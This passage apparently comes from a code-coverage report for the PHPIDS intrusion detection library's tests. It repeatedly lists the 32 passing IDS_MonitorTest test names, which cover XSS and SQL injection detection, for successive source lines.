class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel640": { - "header": "32 tests cover line 640", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel641": { - "header": "32 tests cover line 641", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel642": { - "header": "32 tests cover line 642", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel646": { - "header": "32 tests cover line 646", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel647": { - "header": "32 tests cover line 647", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel648": { - "header": "32 tests cover line 648", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel649": { - "header": "32 tests cover line 649", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel650": { - "header": "32 tests cover line 650", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel651": { - "header": "32 tests cover line 651", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel653": { - "header": "32 tests cover line 653", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel655": { - "header": "32 tests cover line 655", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel656": { - "header": "32 tests cover line 656", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel657": { - "header": "32 tests cover line 657", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li 